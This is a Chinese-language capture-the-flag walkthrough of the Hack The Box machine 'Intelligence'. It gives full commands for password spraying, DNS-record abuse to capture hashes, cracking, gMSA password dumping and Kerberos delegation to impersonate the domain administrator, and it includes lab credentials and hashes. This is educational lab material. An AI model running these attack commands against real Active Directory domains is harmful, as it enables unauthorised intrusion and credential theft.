端口扫描
smb无
dig无
ldap无
枚举子域
dnsenum --dnsserver 10.10.10.248 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -o scans/dnsenum-bitquark-intelligence.htb intelligence.htb
dnsenum
将自动化其中大部分以及强力子域。它找到 dc.intelligence.htb,以及其他几个看起来像域控制器的文件:
来到80页面,可以下载两个pdf文件
exiftool 2020-01-01-upload.pdf查看一下
爆破一下目录
feroxbuster -u http://intelligence.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -o scans/feroxbuster-intelligence.htb-raft-med-lowercase
测试一下exif得到的pdf的用户是否有效
尝试一下GetNPUsers.py -no-pass 失败
模糊测试pdf文件(有python代码)
查看网站上 PDF 的文件名,文件名符合模式 YYYY-MM-DD-upload.pdf
制作了一个 Python 脚本来模糊测试并为我下载所有 PDF 文件。
seq 1 31 > days; seq 1 12 > months
Python复制代码import requests import os def fuzz_PDFs(): with open('days', 'r') as d: days = d.readlines() with open('months', 'r') as m: months = m.readlines() url_file = open('urls', 'w') url_file.close() for month in months: for day in days: r = requests.get(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') if int(r.status_code) == 200: print(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') with open('urls', 'a') as url_file: url_file.write(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') url_file.write('\n') def get_PDFs(): with open('urls', 'r') as u: urls = u.readlines() for url in urls: os.system(f'wget -q {url.strip()} ') print(f'[+] Downloading — {url.strip()} ') fuzz_PDFs() get_PDFs()
这些行导入必要的模块:requests
用于发出 HTTP 请求以及os
与操作系统交互。
Python复制代码def fuzz_PDFs(): with open('days', 'r') as d: days = d.readlines() with open('months', 'r') as m: months = m.readlines() url_file = open('urls', 'w') url_file.close()
该fuzz_PDFs
函数负责根据天和月对 PDF 文档的 URL 进行模糊测试。它读取“天”和“月”文件的内容,并将它们存储在days
和months
列表中。然后它以写入模式打开一个名为“urls”的文件并立即将其关闭。此步骤可能用于清除“urls”文件的现有内容,或者创建一个空的“urls”文件(如果不存在)。
Python复制代码 for month in months: for day in days: r = requests.get(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') if int(r.status_code) == 200: print(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') with open('urls', 'a') as url_file: url_file.write(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') url_file.write('\n')
在嵌套循环中,这部分代码使用从文件获取的日期和月份生成 PDF 文档的 URL。然后,它向这些 URL 发送 HTTP 请求并检查响应状态代码是否为 200(正常)。如果是,则打印 URL,并将其与换行符一起附加到“urls”文件中。
Python复制代码def get_PDFs(): with open('urls', 'r') as u: urls = u.readlines() for url in urls: os.system(f'wget -q {url.strip()} ') print(f'[+] Downloading — {url.strip()} ')
该get_PDFs
函数从“urls”文件中读取 URL,并使用该os.system
函数执行wget
命令以静默下载 PDF 文件。它还打印一条消息,指示正在下载文件。
Python复制代码fuzz_PDFs() get_PDFs()
最后,这些行调用fuzz_PDFs
和get_PDFs
函数,启动模糊测试过程并根据生成的 URL 下载 PDF 文件。
cat *.pdf | strings | grep Creator | cut -d '(' -f 2 | cut -d ')' -f 1 | grep -v TeX > users; cat users
-
cat *.pdf
:连接当前目录下所有以“.pdf”结尾的文件的内容。 -
strings
:从二进制文件中提取可打印字符。在本例中,它应用于串联的 PDF 文件以提取人类可读的字符串。 -
grep Creator
:过滤输出以仅包含包含字符串“Creator”的行。这可能是针对 PDF 文件中的元数据。 -
cut -d '(' -f 2
:使用该cut
命令以“(”作为分隔符分割每一行并选择第二个字段。这样做是为了提取左括号后面的内容。 -
cut -d ')' -f 1
:与上一个命令类似cut
,它使用“)”作为分隔符分割每一行并选择第一个字段。这样做是为了提取右括号之前的内容。 -
grep -v TeX
:使用 过滤掉包含字符串“TeX”的行grep -v
,这意味着它选择与模式不匹配的行。 -
> users
:将过滤后的输出重定向到名为“users”的文件。
还有一个比较自动化的脚本看
HTB: Intelligence | 0xdf hacks stuff
密码喷射
我从2020–06–04-upload.pdf文件中获得了密码“ NewIntelligenceCorpUser9876 ” 。有了这些,我就转向了 SMB。所以我使用crackmapexec用我拥有的用户名列表来暴力破解此密码的用户名。
crackmapexec smb 10.10.10.248 -u users -p “NewIntelligenceCorpUser9876”
我得到了该密码的有效用户名。
用户名 — Tiffany.Molina 密码 — NewIntelligenceCorpUser9876
我在共享中没有太多可以访问的内容Users
。NETLOGON
是空的,SYSVOL
有典型的 DC 东西,但没有什么用处。IT
是自定义共享名称,它包含一个文件:
smbclient -U Tiffany.Molina //10.10.10.248/IT NewIntelligenceCorpUser9876
触发捕捉hash(dnstool.py结合responder使用)
downdetector.ps1
这是一个 PowerShell 脚本(我添加了空格):
# Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials if(.StatusCode -ne 200) { Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down" } } catch {} }
该脚本进入 LDAP 并获取所有计算机的列表,然后循环访问名称以“web”开头的计算机。它将尝试向该服务器发出 Web 请求(使用正在运行的用户的凭据),如果状态代码不是 200,它将向 Ted.Graves 发送电子邮件,让他们知道主机已关闭。顶部的评论说它计划每五分钟运行一次。
所以我们尝试让他报错然后向Ted.Graves 发送电子邮件
dnstool.py
是Krbrelayx附带的一个脚本,它可以:
通过 LDAP 添加/修改/删除 Active Directory 集成 DNS 记录。
值得一试,看看 Tiffany.Molina 是否有权通过使用以下选项运行来进行此类更改:
-
-u intelligence\\Tiffany.Molina
- 进行身份验证的用户; -
-p NewIntelligenceCorpUser9876
- 用户的密码; -
--action add
- 添加新记录; -
--record web-0xdf
- 要添加的域; -
--data 10.01.14.19
- 要添加的数据,在本例中为解析 web-0xdf 的 IP; -
--type A
- 要添加的记录类型。
运行这个似乎有效:这边的data和--record后面的ip和用户都是假的
oxdf@parrot$ python3 dnstool.py -u intelligence\\Tiffany.Molina -p NewIntelligenceCorpUser9876 --action add --record web-0xdf --data 10.10.14.19 --type A intelligence.htb [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully
responder -I tun0 -A 监听
我这边不行,没成功
hashcat -m 5600 ted.graves.hash /usr/share/wordlists/rockyou.txt
Ted.Graves 的密码是“Mr.Teddy”。crackmapexec
确认它适用于 SMB:
crackmapexec smb 10.10.10.248 -u Ted.Graves -p Mr.Teddy -d intelligence.htb
GMSA密码
Ted.Graves 属于 ITSupport 组,该组具有ReadGMSAPassword
SVC_INT。更有趣的是,如果我使用预先构建的查询“来自拥有原则的最短路径”,则 svc_int 帐户AllowedToDelegate
在 DC 上具有:
组管理服务帐户(GMSA) 为服务帐户提供额外的安全性。有一个用于提取 GMSA 密码的 Python 工具gMSADumper,是由 Intelligence 的作者编写的
作为 Tiffany.Molina,它没有找到任何东西:
oxdf@parrot$ python3 gMSADumper.py -u tiffany.molina -p NewIntelligenceCorpUser9876 -l intelligence.htb -d intelligence.htb Users or groups who can read password for svc_int$: > DC$ > itsupport
但正如 Ted.Graves 所说,它确实:
oxdf@parrot$ python3 gMSADumper.py -u ted.graves -p Mr.Teddy -l intelligence.htb -d intelligence.htb Users or groups who can read password for svc_int$: > DC$ > itsupport svc_int$:::5e47bac787e5e1970cf9acdb5b316239
使用脚本出现这个错误
pip install pycryptodome解决
我无法破解这个哈希值。不过,因为它是 NTLM 哈希,所以我可以传递它。
Abusing Kerberos From Linux - An Overview of Available Tools 这里面有如何攻击
有hash如何allowedtodelegate授权(ptt)
因为svc_int对admin有allowedtodelegate(授权)权限,所以可以使用PTT攻击
获取票据
getST.py -dc-ip 10.10.10.248 -spn www/dc.intelligence.htb -hashes :e0dcda8d93bf71a6352ea7803c8f17f1 -impersonate administrator intelligence.htb/svc_int
-impersonate administrator 这个是想模拟的用户(任何有效的用户名)
出现报错是时间问题,解决
sudo apt-get install virtualbox-guest-utils
sudo service virtualbox-guest-utils stop
sudo apt-get install ntpdate
sudo ntpdate 10.10.10.248
再次执行getST.py获取票据
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass administrator@dc.intelligence.htb
直接横向提权
KRB5CCNAME=administrator.ccache这个环境变量以指向我要使用的票证文件